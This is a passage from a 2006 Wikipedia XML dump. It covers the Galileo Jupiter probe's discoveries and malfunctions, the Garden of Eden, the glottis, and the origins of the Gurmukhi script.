2. The moon [[Io (moon)|Io]] has extensive volcanic activity that is 100 times greater than that found on Earth's. The heat and frequency of eruptions are reminiscent of early Earth.

3. Io's complex plasma interactions in Io's atmosphere creates immense currents which couple to Jupiter's atmosphere.

4. Several lines of evidence from Galileo support the theory that liquid oceans exist under Europa's icy surface.

5. Ganymede possesses its own magnetic field - the first satellite known to have one.

6. Galileo magnetic data provide evidence that Europa, Ganymede and Callisto have a liquid-saltwater layer under the visible surface.

7. Evidence exists that [[Europa (moon)|Europa]], [[Ganymede (moon)|Ganymede]], and [[Callisto (moon)|Callisto]] all have a thin atmospheric layer known as a 'surface-bound [[exosphere]]'.

8. Jupiter's [[ring system]] is formed by dust kicked up as interplanetary [[meteoroid]]s smash into the planet's [[Inner satellites of Jupiter|four small inner moons]]. The outermost ring is actually two rings, one embedded with the other. There is probably a separate ring along [[Amalthea (moon)|Amalthea]]'s orbit, as well.

9. The Galileo spacecraft identified the global structure and dynamics of a giant planet's [[magnetosphere]].

==Other science done with Galileo==

===The Galileo Star Scanner===

The star scanner was a small optical telescope used to provide the spacecraft with an absolute attitude reference. It was also able to serendipitously make scientific discoveries [http://www.mindspring.com/~feez/]. In the prime mission, it was found that the star scanner was able to detect high energy particles as a noise signal. These data were eventually calibrated to show the particles were predominantly &gt; 2 MeV electrons that were trapped in the Jovian magnetic belts.

A second discovery occurred in 2000. The star scanner was observing a set of stars which included the second magnitude star Delta Velorum. At one point, this star dimmed for 8 hours below the star scanner's detection threshold. Subsequent analysis of Galileo data and work by amateur and professional astronomers [http://www.konkoly.hu/cgi-bin/IBVS?4999]showed that Delta Velorum is the brightest known [[eclipsing binary]], brighter at maximum than even [[Algol]]. It has a primary period of 45 days and the dimming is just visible with the naked eye.

A final discovery occurred during the last two orbits of the mission. When the spacecraft passed the orbit of Jupiter's moon [[Amalthea]], the star scanner detected unexpected flashes of light that were reflections from moonlets. None of the individual moonlets were sighted twice, hence no orbits were determined and the moonlets did not meet the International Astronomical Union requirements to receive designations [http://cfa-www.harvard.edu/iauc/08100/08107.html]. It is believed that these moonlets most likely are debris ejected from Amalthea and form a tenuous, and perhaps temporary, ring.


[[image:GOPEX(galileo optical experiment).jpg|right|thumb|200px|Image taken by ''Galileo'' of earth during GOPEX test clearly showing bright laser pulses coming from a transmitting telescope on the night side. Galileo's imager was panned downward during the exposure to separate the pulses, thus blurring earth's image on the right.]]

===Remote detection of life===
The late [[Carl Sagan]], pondering the question of whether life on earth could be easily detected from space, devised a set of experiments in the late 1980s using ''Galileo''&lt;nowiki&gt;'&lt;/nowiki&gt;s remote sensing instruments to determine if life indeed could be detected during the first earth flyby of the mission in December of 1990. After data acquisition and processing, Sagan et. al. published a paper in ''[[Nature (journal)|Nature]]'' in 1993 detailing the results of the experiment. ''Galileo'' had found what are now referred to as the &quot;Sagan criteria for life&quot;; these were: strong absorption of light at the red end of the visible spectrum (especially over [[continents]]) which was caused by absorption by chlorophyll in photosynthesizing plants, absorption bands of molecular oxygen which is also a result of plant activity, infrared absorption bands caused by the ~1 micromole per [[mole (unit)|mole]] (&amp;micro;mol/mol) of methane in Earth's atmosphere (a gas which must be replenished by either volcanic or biological activity) and modulated narrowband radio wave transmissions uncharacteristic of any known natural source. ''Galileo''&lt;nowiki&gt;'&lt;/nowiki&gt;s experiments were thus the first ever controls in the newborn science of astrobiological remote sensing.

===The Galileo optical experiment===
In December of 1992 during ''Galileo''&lt;nowiki&gt;'&lt;/nowiki&gt;s second gravity assist flyby of earth, another groundbreaking yet almost entirely unpublicized experiment was done using ''Galileo'' to assess the possibility of optical communication with spacecraft by detecting pulses of light from powerful lasers which were to be directly imaged by ''Galileo''&lt;nowiki&gt;'&lt;/nowiki&gt;s [[Charge-coupled device|CCD]]. The experiment, dubbed Galileo OPtical EXperiment or GOPEX [http://lasers.jpl.nasa.gov/PAPERS/GOPEX/gopex_s2.pdf], used two separate sites to beam laser pulses to the spacecraft, one at Table Mountain Observatory in California and the other at the Starfire Optical Range in New Mexico. The Table Mountain site used a [[nonlinear optics|frequency doubled]] [[Neodymium]]-[[Yttrium]]-[[Aluminium]] [[Garnet]] ([[Nd-YAG laser|Nd:YAG]]) laser operating at 532 nm with a repetition rate of ~15 to 30 Hz and a pulse power ([[FWHM]]) in the tens of megawatts range, which was coupled to a 0.6 meter Cassegrain telescope for transmission to ''Galileo'', the Starfire range site used a similar setup with a larger transmitting telescope (1.5 m). Long exposure (~0.1 to 0.8 s) images using ''Galileo's'' 560 nm centered green filter produced images of earth clearly showing the laser pulses even at distances of up to 6,000,000 km. Adverse weather conditions, restrictions placed on laser transmissions by the U.S. Space Defense Operations Center ([[SPADOC]]) and a pointing error caused by the scan platform acceleration on the spacecraft being slower than expected (which prevented laser detection on all frames with less than 400 ms exposure times) all contributed to the reduction of the number of successful detections of the laser transmission to 48 of the total 159 frames taken. Nonetheless, the experiment was considered a resounding success and the data acquired will likely be used in the future to design laser &quot;downlinks&quot; which will send large volumes of data very quickly, from spacecraft to Earth. The scheme is already being studied (as of 2004) for a data link to a future Mars orbiting spacecraft [http://www.space.com/spacenews/businessmonday_041115.html].

===Asteroid encounters===
[[image:951_Gaspra.jpg|thumb|right|150px|NASA image of 951 Gaspra]]
====First asteroid encounter: [[951 Gaspra]]====
On [[October 29]], [[1991]], two months after entering the asteroid belt, Galileo performed the first ever asteroid encounter by passing about 1,600 kilometers (1,000 miles) from 951 Gaspra at a relative speed of about 8 kilometers per second (18,000 mph). Several pictures of Gaspra were taken along with measurements using the NIMS instrument to indicate composition and physical properties. The last (and best) two images were played back to Earth in November 1991 and June 1992. The imagery revealed a cratered and very irregular body about 19 by 12 by 11 kilometers (12 by 7.5 by 7 miles). The remainder of data taken, including low resolution images of more of the surface, were transmitted in late November 1992.

====Second asteroid encounter: [[243 Ida]] and [[Dactyl (asteroid)|Dactyl]]==== 
[[image:243_ida.jpg|thumb|right|150px|NASA image of 243 Ida. The tiny dot to the right is its moon, Dactyl.]]
Twenty-two months after the Gaspra encounter, on [[August 28]], [[1993]], Galileo flew within 2,400 kilometers (1,500 miles) of asteroid 243 Ida. The probe discovered that Ida had a small moon, dubbed Dactyl, only 1.4 km in diameter which was the first asteroid moon discovered. Measurements using Galileo's solid state imager, magnetometer and NIMS instrument were taken. From subsequent analysis of data, Dactyl appears to be an SII subtype S type asteroid and is spectrally different from 243 Ida. It is hypothesized that Dactyl may have been produced by partial melting within a [[Koronis family|Koronis]] parent body (Ida belongs to the &quot;Koronis&quot; family of asteroids that travels in the main Asteroid Belt between Mars and Jupiter) while the 243 Ida region escaped such igneous processing.

==Spacecraft malfunctions==

===Main antenna failure===
[[Image:Galileo hga ribs.gif|thumb|left|200px|Laboratory tests verified that holding ribs 9, 10, and 11 in the stowed position most nearly modeled the spacecraft telemetry.]]
For reasons which are not currently known, and in all likelihood will never be known with certainty, ''Galileo''&lt;nowiki&gt;'&lt;/nowiki&gt;s [[High Gain Antenna]] failed to fully deploy after its first flyby of Earth. Investigators speculate that during the time that ''Galileo'' spent in storage after the ''Challenger'' disaster, the [[lubricant]]s evaporated, or the system was otherwise damaged. Engineers tried thermal cycling the antenna, rotating the spacecraft up to its maximum spin rate of 10.5 rpm, and &quot;hammering&quot; the antenna deployment motors - turning them on and off repeatedly - over 13,000 times; all attempts failed to open the high gain antenna. Fortunately ''Galileo'' had an additional [[Low Gain Antenna]] that was capable of transmitting information back to Earth, though since it transmitted a signal [[isotropic|isotropically]], the Low Gain Antenna's [[bandwidth]] was significantly less than the high gain antenna's would have been; the high gain antenna was to have transmitted at 134 kilobits per second whereas the low gain antenna was only intended to transmit at about 8 to 16 bits per second. ''Galileo''&lt;nowiki&gt;'&lt;/nowiki&gt;s low gain antenna transmitted with a power of about 15 to 20 watts, which, by the time it reached earth, and had been collected by one of the large aperture (70 m) DSN antennas, had a total power of about -170 dBm or 10 zeptowatts (10 &amp;times; 10&lt;sup&gt;&amp;minus;21&lt;/sup&gt; watts).[http://www2.jpl.nasa.gov/galileo/faqhga.html] Through implementation of sophisticated data compression techniques, arraying of several [[Deep Space Network]] antennas and sensitivity upgrades of receivers used to listen to ''Galileo''&lt;nowiki&gt;'&lt;/nowiki&gt;s signal, data throughput was increased to a maximum of 160 bits per second. The data collected on Jupiter and its moons was stored in the on board [[tape recorder]], and transmitted back to Earth during the long [[apogee]] portion of the probe's orbit using the low gain antenna. At the same time, measurements were made of Jupiter's magnetosphere and transmitted back to Earth. The reduction in available bandwidth reduced the total amount of data transmitted throughout the mission to about 30 [[gigabytes]] and reduced the number of pictures that were transmitted significantly; in all, only around 14,000 images were returned.

===Tape recorder anomalies and remote repair===

Since ''Galileo''&lt;nowiki&gt;'&lt;/nowiki&gt;s high gain antenna failed to open in 1991 the mission was forced to use the low gain antenna for all communication to earth. This meant that data storage to ''Galileo''&lt;nowiki&gt;'&lt;/nowiki&gt;s tape recorder for later compression and playback was absolutely crucial in order to obtain any substantial information from the planned Jupiter and moon flybys. In October of 1995, ''Galileo''&lt;nowiki&gt;'&lt;/nowiki&gt;s 114 [[megabyte]] (914,489,344 bits [http://www2.jpl.nasa.gov/galileo/faqtape.html#capacity]), four-track digital tape recorder which was manufactured by Odetics Corporation, remained stuck in rewind mode for 15 hours before engineers learned what happened and sent commands to shut it off, after recording an image of Jupiter. Though the recorder itself was still in working order the malfunction possibly damaged a length of tape at the end of the reel. This section of tape was subsequently declared &quot;off limits&quot; to any future data recording and was covered with 25 more turns of tape to secure the section and reduce any further stresses, which could tear it. Because it happened only weeks before Jupiter Orbit Insertion, the anomaly prompted engineers to sacrifice data acquisition of almost all of the [[Io (moon)|Io]] and [[Europa (moon)|Europa]] observations during Jupiter Orbit Insertion in order to focus solely on recording data sent from the Jupiter probe descent.

In November of 2002, after completion of the mission's only encounter of Jupiter's moon [[Amalthea (moon)|Amalthea]], problems with playback of the tape recorder would again plague the spacecraft. About 10 minutes after closest approach of the flyby ''Galileo'' stopped collecting data, shut down all of its instruments, and went into &quot;safe mode&quot;; apparently as a result of exposure to Jupiter's extremely high radiation environment. Though most of the Amalthea data was already written to tape, it was found that the recorder refused to respond to commands telling it to play back data. Through careful analysis [http://parts.jpl.nasa.gov/docs/NSREC03_C6.pdf] after weeks of troubleshooting of an identical flight spare of the recorder on the ground, it was determined that the cause of the malfunction was a reduction of light output in three infrared Optek OP133 [http://www.optekinc.com/pdf/Op130.pdf] [[LED|light emitting diodes]] located in the drive electronics of the recorder's motor encoder wheel. The [[GaAs]] LEDs had been particularly sensitive to proton irradiation induced [[crystal|atomic lattice]] displacement defects, which greatly decreased their effective light output and caused the drive motor's electronics to falsely believe the motor encoder wheel was incorrectly positioned. ''Galileo''&lt;nowiki&gt;'&lt;/nowiki&gt;s flight team then began a series of &quot;[[Annealing (metallurgy)\annealing]]&quot; sessions, where current was passed through the LEDs for hours at a time to heat them to a point where some of the crystalline lattice defects would be shifted back into place, thus increasing the LED's light output. After about 100 hours of annealing and playback cycles, the recorder was able to operate for up to an hour at a time. After many subsequent playback and cooling cycles, the complete transmission back to earth of all recorded Amalthea flyby data was successful.

===Other radiation related anomalies===

The uniquely harsh radiation environment at Jupiter caused over 20 anomalies in addition to the incidents expanded upon above. Despite exceeding its radiation design limit by at least a factor of three, the spacecraft survived all the anomalies. Several of the science instruments suffered increased noise while within about 700,000 km of Jupiter. The quartz crystal used as the frequency reference for the radio suffered permanent frequency shifts with each Jupiter approach. A spin detector failed and the spacecraft gyro output was biased by the radiation environment. The SSI camera began producing totally white images when the spacecraft was hit by the exceptional 'Bastille Day' [[Coronal_mass_ejection | coronal mass ejection]] in 2000 and subsequently on close approaches to Jupiter. The most severe effect was a reset of the computers (called a CDS despun bus reset) that occurred when the spacecraft was either close to Jupiter or in the region of space magnetically downstream of the earth. Work-arounds were found for all of these problems.

===Near failure of atmospheric probe parachute===

The atmospheric probe deployed its first parachute about one minute later than anticipated, resulting in a small loss of upper atmospheric readings. Through review of records, the problem was later determined to likely be faulty wiring in the parachute control system. The fact that the chute opened at all was attributed to luck.

==Future of Jupiter exploration==

After the end of the ''Galileo'' mission and in the light of the discoveries ''Galileo'' made, NASA was planning a future Jupiter mission called [[Jupiter Icy Moons Orbiter|JIMO]]: Jupiter Icy Moons Orbiter. The JIMO mission was in its early planning stage and liftoff was not to be expected before [[2017]]. However, the US president's [[2006]] budget request to Congress essentially cut funding for JIMO. Another spacecraft planned to orbit Jupiter is [[Juno (spacecraft)|Juno]], due to launch by [[2010]] to study Jupiter's atmosphere and magnetic field. Other missions, such as ''[[New Horizons]]'', launched in 2006, will conduct Jupiter flybys on their way to other targets and provide opportunities for additional scientific research of the Jupiter system.

==External links==

*[http://www.jpl.nasa.gov/galileo/ Galileo home page]
*[http://www.jpl.nasa.gov/jimo/ Jupiter Icy Moons Orbiter]
*[http://www.cs.tcd.ie/Stephen.Farrell/ipn/background/five-antennae-for-galileo.html Site explaining the LGA bandwidth upgrades from the Parkes Observatory]
*[http://lasers.jpl.nasa.gov/PAPERS/GOPEX/gopex_s2.pdf GOPEX site from JPL]
*[http://science.nasa.gov/newhome/headlines/ast21may99_1.htm NASA site on Galileo life detection experiments]

[[Category:Jupiter]]
[[Category:NASA probes]]
[[Category:Jupiter spacecraft]]

[[bg:Галилео (мисия)]]
[[cs:Galileo (sonda)]]
[[de:Galileo (Raumsonde)]]
[[es:Galileo (misión espacial)]]
[[fa:فضاپیمای گالیله]]
[[fr:Galileo (sonde spatiale)]]
[[ko:갈릴레오 우주선]]
[[it:Sonda Galileo]]
[[he:גלילאו (חללית)]]
[[hu:Galileo űrszonda]]
[[nl:Galileo (ruimtesonde)]]
[[ja:ガリレオ (探査機)]]
[[pl:Galileo (sonda)]]
[[pt:Galileu (sonda espacial)]]
[[ru:Галилео (КА НАСА)]]
[[sk:Galileo (kozmická sonda)]]
[[th:ยานกาลิเลโอ]]
[[zh:伽利略号]]</text>
    </revision>
  </page>
  <page>
    <title>Garden of Eden</title>
    <id>13078</id>
    <revision>
      <id>42037074</id>
      <timestamp>2006-03-03T10:36:46Z</timestamp>
      <contributor>
        <ip>82.205.181.248</ip>
      </contributor>
      <comment>/* Suspected locations */</comment>
      <text xml:space="preserve">:''For the novel by Ernest Hemingway, see [[The Garden of Eden]]. For the concept in cellular automata, see [[Garden of Eden pattern]].''

[[Image:CranFall.jpg|right|thumbnail|&quot;The Fall of Man&quot; by Lucas Cranach, a 16th century German depiction of Eden]]
The '''Garden of Eden''' (from [[Hebrew language|Hebrew]] ''Gan Eden'', &quot;גַּן עֵדֶן&quot;) is described by the Book of Genesis as being the place where the first man - Adam - and woman - Eve - lived after they were created by God. The past physical existence of this garden forms part of the [[creation belief]] of the [[Abrahamic religion]]s.

The Genesis account (specifically, the [[Jahwist]] version of the creation story) supplies the geographical location of Eden in relation to four major rivers. However, because the identification of these rivers has been the subject of much controversy and speculation, a substantial consensus now exists that the knowledge of the location of Eden has been lost.

There are some religious groups who have a genesis story containing similar subject elements, but who ascribe various locations to the place of first habitation.

Belief in the veracity of the Eden story fundamentally implicates the concepts of God (specifically, the God of the [[Abrahamic religions]]) and creation.

The '''Garden of Eden story''' recounts that [[God]] placed [[Adam and Eve]] in a garden, and commanded them not to eat from the [[Tree of Knowledge of Good and Evil]], and that they were expelled from the garden after they disobeyed Him, having been tempted by a [[Serpent (symbolism)|serpent]], and having eaten of the fruit. The [[Tree of Life]], also planted in the garden, was then denied them by means of a physical barrier, of cherubim and a flaming sword, at the entrance to the garden.

Judaism associates the serpent with the [[Satan]], based on the Oral Tradition (which they received at the same time as the Written Tradition). However, an early [[gnosticism|gnostic Christian]] sect, known as the [[Ophites]], turned this on its head, worshipping the serpent as the [[hero]] trying to impart [[gnosis]], and casting ''God'' as the [[evil]] villain trying to imprison them in the creation of the [[demi-urge]].

In the account the garden is planted &quot;eastward, in Eden&quot;, and accordingly &quot;Eden&quot; properly denotes the larger territory which contains the garden rather than being the name of the garden itself: it is, thus, the garden located in Eden. The [[Talmud]] also states ([[Brachos]] 34b) that the Garden is distinct from Eden.

For the association of the Garden of Eden with [[Paradise]], see below.

== Geography ==
[[Image:Hieronymus Bosch - The Garden of Earthly Delights - The Earthly Paradise (Garden of Eden).jpg|thumb|right|Eden as depicted in [[Hieronymus Bosch|Bosch]]'s ''[[The Garden of Earthly Delights]]'' includes many exotic [[Africa]]n animals.]]
The [[Book of Genesis]] contains little information on the garden itself.  It was  home to both the [[Tree of Life]] and the [[Tree of Knowledge of Good and Evil]], as well as an abundance of other [[vegetation]] that could feed [[Adam and Eve]].

:''&quot;A river flowed out of [[Eden]] to water the garden, and there it divided and became four rivers&quot;''.

===Suspected locations===
There have been a number of claims as to the actual geographic location of the Garden of Eden, though many of these have little or no connection to the text of ''Genesis''. Most put the Garden somewhere in the [[Middle East]] near [[Mesopotamia]]. Locations as diverse as [[Ethiopia]], [[Java (island)|Java]], [[Sri Lanka]], the [[Seychelles]], [[Johannes Goropius Becanus|Brabant]], and [[Bristol, Florida]] have all been proposed as locations for the garden. Many Christian theologians believe that the Garden never had a terrestrial existence, but was instead an adjunct to [[heaven]] as it became identified with Paradise (see below).

The text asserts that from Eden the river divided into four branches: Hiddekel a.k.a. [[Tigris]], [[Euphrates]], [[Pishon]] and [[Gihon]]. The identity of the former two are commonly accepted, though the latter two rivers have been the subject of endless argument.  But if the Garden of Eden had really been near the sources of the Tigris and the Euphrates, then the original narrators in the land of [[Canaan]] would have identified it as located generally in the [[Taurus Mountains]], in [[Anatolia]].  Satellite photos reveal two dry riverbeds flowing toward the [[Persian Gulf]] near where the Tigris and Euphrates also terminate. While this accounts for four rivers in the vicinity, that area is the ''mouth'' of those rivers rather than their ''source''.

Some literalists point out that the world of Eden's time was destroyed during [[Deluge (mythology)|Noah's Flood]] and it is therefore impossible to place the Garden anywhere in post-flood geography. There is also an attempt to tie this with the mystical sunken land of [[Atlantis]]. One favourite location is [[Sundaland]] in the [[South China Sea]]. In this case the current [[Tigris]] and [[Euphrates]] rivers would not be the ones referred to in the narrative, but later rivers named after two of the earlier rivers, just as in more modern times colonists would name features of their new land after similar features in their homeland. This idea also resolves the apparent problem that the Bible describes the rivers as having a common source, which the current rivers do not.

One recent claim by archaeologist [[David Rohl]] puts the garden in the north-western [[Iran]]. According to him, the Garden is a river valley east of the [[Sahand|Sahand Mountain]], near [[Tabriz]]. He cites several geological similarities with Biblical descriptions, and multiple linguistic parallels as proof.  The [[Medians]] lived in this area before founding the [[Persian Empire]].

The ''[[Urantia Book]]'' (1955) places the Garden of Eden in a long narrow peninsula projecting westward from the eastern shores of the Mediterranean and having been long ago submerged in connection with volcanic activity and the submergence of a Sicilian land bridge to Africa, features unidentified by geologists.

===Sumeria and Dilmun===
The first Sumerians lived in the plains of what is now southern Iraq. Some of the historians working from within the cultural horizons of southernmost [[Sumer]], where the earliest surviving non-Biblical source of the legend lies, point to the quite genuine Bronze Age entrepot of the island [[Dilmun]] (now [[Bahrain]]) in the [[Persian Gulf]],  described as 'the place where the sun rises' and 'the Land of the Living'. The setting of the Sumerian creation myth, ''[[Enûma Elish]]'', has clear parallels with the ''Genesis'' narratives. After its actual decline, beginning about 1500 B.C., Dilmun developed such a reputation as a long-lost garden of exotic perfections that it appears to have influenced the story of the Garden of Eden. Some interpreters have tried to establish an Edenic garden at the trading-center of Dilmun.

===LDS geography for Eden===
In [[Mormonism|Latter-day Saint theology]], the Garden of Eden is believed to be located at what is now inside the city limits of [[Independence, Missouri]], and this land is considered among the most holy. Mormons believe the configuration of the [[continent|continents]] was different before the [[Deluge (mythology)|Great Flood]], and that the geographical descriptions of Eden in Genesis refer to entirely different lands and rivers that were later renamed after more familiar local lands and rivers in the [[Near East]] after the Flood.

== Eden as Paradise ==
The word &quot;[[paradise]]&quot; (PaRDeS, PRDS, hebr.) used as a synonym for the Garden of Eden is a Persian word, which describes a walled orchard garden or an enclosed hunting park. It occurs three times in the [[Old Testament]], significantly not in connection with Eden: in the ''[[Song of Solomon]]'' iv. 13: &quot;''Thy plants are an orchard of pomegranates, with pleasant fruits; camphire, with spikenard''&quot; ;''[[Ecclesiastes]]'' ii. 5: &quot;''I made me gardens and orchards, and I planted trees in them of all kind of fruits''&quot;;and in ''[[Nehemiah]]'' ii. 8: &quot;''And a letter unto Asaph the keeper of the king's orchard, that he may give me timber to make beams for the gates of the palace which appertained to the house, and for the wall of the city, and for the house that I shall enter into. And the king granted me, according to the good hand of my God upon me.'' &quot;. In the Song of Solomon, it is clearly &quot;garden;&quot; in the second and third examples &quot;park.&quot; In the post-Exilic [[apocalyptic literature]] and in the [[Talmud]], &quot;paradise&quot; gains its associations with the Garden of Eden and its heavenly prototype. Literary Hellenistic influences led to the Pauline Christian association of &quot;paradise&quot; with the realm of the blest. The Greek [[Hesperides|Garden of the Hesperides]] influenced the Christian concept of the Garden of Eden, and by the 16th century, in the Cranach painting (''see illustration''), only the ''action'' that takes place there identifies the setting as not the Garden of the Hesperides, with its golden
fruit.

Some anthropologists have hypothesized that the Garden of Eden does not represent a ''geographical'' place, but rather represents ''cultural memory'' of &quot;simpler times&quot;, when man lived off God's bounty (as &quot;primitive&quot; hunters and gatherers still do) as opposed to toiling at agriculture (being &quot;civilized&quot;)... a metaphor reinforced by the words of the Book of Genesis.

== Etymology ==
The origin of the term &quot;Eden&quot;, which in Hebrew means &quot;delight&quot;, may be with [[Akkad|Akkadian]] ''[[edinu]]'' which derives from the Sumerian &lt;small&gt;E.DIN&lt;/small&gt;. The latter words mean &quot;plain&quot; or &quot;steppe&quot;, so the connection between the terms ''may'' be coincidental. However, to modern eyes, the wording &quot;east, in Eden&quot; suggests a geographical rather than metaphorical use of the term.

== Eden in Art ==
[[Image:CaedmonManuscriptPage46Illust.jpg|thumb|right|250px|The Expulsion illustrated in the English [[Caedmon manuscript]], c. AD 1000]]
Garden of Eden motifs most frequently portrayed in [[illuminated manuscript]]s and paintings are the &quot;Sleep of Adam&quot; (&quot;Creation of Eve&quot;), the &quot;Temptation of Eve&quot; by the Serpent, the &quot;Fall of Man&quot; where Adam takes the fruit, and the &quot;Expulsion&quot;. The idyll of &quot;Naming Day in Eden&quot; was less often depicted.  Much of Milton's ''[[Paradise Lost]]'' occurs in the Garden of Eden. [[Michelangelo]] depicted a [[:Image:Michelangelo Buonarroti 022.jpg|scene]] at the Garden of Eden in the [[Sistine Chapel ceiling]].

==See also==
* [[Adam and Eve]]
* [[Cradle of Humanity]]
* [[Millennialism]]
* [[Original Sin]]
* [[Paradise]]
* [[Serpent (symbolism)|Serpent]]
* [[Tomoanchan]]
* [[Zohar]]
* [[In-A-Gadda-Da-Vida (song)]]

==External links==

* [http://www.mega.nu/ampp/eden/ ''Returning to Eden''] investigates the Garden of Eden motif from a political, historical, and philosophical perspective, viewing it as a precursor of political utopianism.
* [http://www.ldolphin.org/eden/ Smithsonian article on the geography of the Tigris-Euphrates region]
* [http://www.answersincreation.org/after_eden.htm Review of the Young Earth Creationist Book &quot;After Eden&quot;]


[[Category:Torah places]]
[[Category:Abrahamic mythology]]
{{Heaven}}
[[ar:جنة]]
[[ca:Jardí de l'Edèn]]
[[de:Garten Eden]]
[[et:Eedeni aed]]
[[es:Edén]]
[[eo:Edena ĝardeno]]
[[fr:Éden]]
[[id:Taman Eden]]
[[it:Giardino dell'Eden]]
[[he:גן עדן]]
[[hu:Édenkert]]
[[nl:Tuin van Eden]]
[[ja:エデンの園]]
[[pl:Eden (raj)]]
[[pt:Jardim do Éden]]
[[sv:Eden]]
[[zh:伊甸園]]</text>
    </revision>
  </page>
  <page>
    <title>Glottis</title>
    <id>13079</id>
    <revision>
      <id>39694656</id>
      <timestamp>2006-02-15T05:05:10Z</timestamp>
      <contributor>
        <username>Improv</username>
        <id>125204</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/68.47.59.154|68.47.59.154]] ([[User talk:68.47.59.154|talk]]) to last version by RexNL</comment>
      <text xml:space="preserve">[[Image:Arytenoid cartilage.png|thumb]]
The space between the [[vocal cords]] is called the '''glottis'''. As the vocal cords vibrate, the resulting vibration produces a &quot;buzzing&quot; quality to the speech, called '''voice''' or '''voicing'''. 

Sounds production involving only the glottis is called ''glottal''. English has a [[voiceless glottal fricative]] spelt &quot;h&quot;. In many accents of English the [[glottal stop]] (made by pressing the folds together) is used as a variant [[allophone]] of the phoneme {{IPA|/t/}} (and in some dialects, occasionally of {{IPA|/k/}} and {{IPA|/p/}}); in some languages, this sound is a [[phoneme]] of its own.

[[Image:Glottis positions.png|thumb]]
Skilled players of the Australian [[didgeridoo]] restrict their glottal opening in order to produce the full range of timbres available on the instrument. 
(See &quot;Acoustics:  The vocal tract and the sound of a didgeridoo&quot;, by Tarnopolsky et al. in Nature 436, 39 ([[7 July]] [[2005]])).

The vibration produced is an essential component of ''voiced'' [[consonant|consonants]] as well as [[vowel|vowels]]. If the vocal folds are drawn apart, air flows between them causing no vibration, as in the production of voiceless consonants. 

*Voiced consonants include {{IPA|/w/, /v/, /z/, /&amp;#658;/, /&amp;#676;/, /&amp;#240;/, /b/, /d/, and /g/.}}
*Voiceless consonants include {{IPA|/h/, /&amp;#653;/, /f/, /s/, /&amp;#643;/, /&amp;#679;/, /&amp;#952;/, /p/, /t/, and /k/.}}


See also:
[[Phonation]]

[[Category:Phonetics]]

[[es:Glotis]]
[[fr:Glotte]]
[[pt:Glote]]
[[sv:Röstspringa]]</text>
    </revision>
  </page>
  <page>
    <title>Gurmukhī script</title>
    <id>13080</id>
    <revision>
      <id>35382557</id>
      <timestamp>2006-01-16T09:33:55Z</timestamp>
      <contributor>
        <username>Bsmahal</username>
        <id>792979</id>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">{{IndicText}}
The '''Gurmukhī''' (ਗੁਰਮੁਖੀ) script, derived from the ''[[Sharada script|Later Sharada script]]'' and standardised by [[Guru Angad Dev]] in the [[16th century]], was designed to write the [[Punjabi language]].  The whole of the [[Guru Granth Sahib]]'s 1430 pages are written in this script.  The word ''Gurmukhi'' is commonly translated as &quot;from the Mouth of the Guru&quot;.

Gurmukhi is a form of [[writing system]] called an [[abugida]], as each consonant has an inherent vowel (a), that can be changed using vowel signs.

Modern Gurmukhi has forty-one consonants (Vianjans), nine vowel symbols (''Laga Matra''), two symbols for nasal sounds (Bindi and Tippi) and one symbol which duplicates the sound of any consonant (Addak).  In addition, four conjuncts are used: three subjoined forms of the consonants Rara, Haha and Vava, and one half-form of Yayya.  Use of the conjunct forms of Vava and Yayya is increasingly scarce in modern contexts.

Gurmukhi has been adapted to write other languages, such as [[Braj Bhasha]], [[Hindi]], [[Sanskrit]] and [[Sindhi]].

== Origins ==

Like most of the North Indian writing systems, the Gurmukhi script is a descendant of the [[Brahmi]] script. The ''Proto-Gurmukhi letters'' evolved through the [[Gupta script]], from 4th to 8th century, followed by the [[Sharada script]], from 8th century onwards, and finally adapted their archaic form in the ''Devasesha'' stage of the Later Sharada script, dated between the 10th and 14th centuries.

The traditional accounts, such as the references found in the ''Janamsakhi'' literature, say that the Gurmukhi script was invented by the second [[Sikh]] Guru, [[Guru Angad Dev]]. However, it would be correct to say that the script was standardised, rather than invented, by the Sikh Gurus.  E.P. Newton (''Panjabi Grammar'', 1898) writes that at least 21 Gurmukhi characters are found in ancient manuscripts: 6 from 10th century, 12 from 3rd century BC and 3 from 5th century BC. Apparently, the first Sikh Guru, [[Guru Nanak Dev]] also used the Gurmukhi script for his writings.

There are two major theories on how the ''Proto-Gurmukhi script'' emerged in the 15th century. G.B. Singh (1950), while quoting Abu Raihan [[Al-Biruni]]'s ''Ta'rikh al-Hind'' (1030 AD), says that the script evolved from [[Ardhanagari]]. Al-Biruni writes that the [[Ardhanagari]] script was used in [[Bathinda]], including [[Sindh]] and western parts of the [[Punjab region|Punjab]] in the 10th century. For some time, Bhatinda remained the capital of the kingdom of [[Bhatti]] Rajputs of the Pal clan, who ruled North India before the Muslims occupied the country. Because of its connection with the Bhattis, the [[Ardhanagari]] script was also called [[Bhatachhari]]. According to Al-Biruni, [[Ardhanagari]] was a mixture of [[Nagari]], used in [[Ujjain]] and [[Malwa]], and ''Siddha Matrika'' or the [[Siddham]] script, a variant of the [[Sharada script]] used in [[Kashmir]].

Pritam Singh (1992) has also traced the origins of Gurmukhi to the ''Siddha Matrika''.

Tarlochan Singh Bedi (1999) writes that the Gurmukhi script developed in the 10-14th centuries from the ''Devasesha'' stage of the [[Sharada script]]. His argument is that from the 10th century, regional differences started to appear between the [[Sharada script]] used in Punjab, the Hill States (partly Himachal Pradesh) and Kashmir. The regional [[Sharada script]] evolves from this stage till the 14th century, when it starts to appear in the form of Gurmukhi. Indian epigraphists call this stage Devasesha, while Bedi prefers the name ''Pritham Gurmukhi'' or Proto-Gurmukhi.

Gurus adopted the ''Proto-Gurmukhi script'' to write the [[Guru Granth Sahib]], the religious scriptures of the Sikhs. Other contemporary scripts used in the Punjab were [[Takri]] and the [[Lande]] alphabets. Also ''Takri'' was a script that developed through the ''Devasesha'' stage of the [[Sharada script]], and is found mainly in the Hill States, such as [[Chamba]], where it is called ''Chambyali'' and in [[Jammu]], where it is known as ''Dogri''. The local ''Takri'' variants got the status of official scripts in some of the [[Punjab Hill States]], and were used for both administrative and literary purposes until the 19th century. After 1948, when Himachal Pradesh was established as an administrative unit, the local ''Takri'' variants were replaced by [[Devanagari]].  

